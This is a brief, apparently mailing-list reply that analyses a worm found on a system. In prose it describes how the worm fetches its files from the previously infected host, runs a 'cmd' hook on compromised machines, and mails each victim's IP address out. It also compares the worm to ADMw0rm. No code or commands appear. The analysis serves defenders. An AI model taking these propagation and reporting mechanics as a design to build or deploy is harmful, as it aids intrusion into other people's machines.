Did you find a similarly named file? It's a worm; it gets the worm files from the last infected machine. `IP' returns the address of the machine that the copy of the worm is running on, and is used in the `cmd' grappling hook which apparently gets executed on compromised remote hosts. Each time the worm infects a machine, it mails the IP address of that machine to <[EMAIL PROTECTED]>. Now, not to make any unfounded allegations, but this worm looks remarkably like ADMw0rm. I wonder why it restarts named when first infecting a host, when it appears to also utilize several other vulnerabilites in order to get in. Ho, hum.
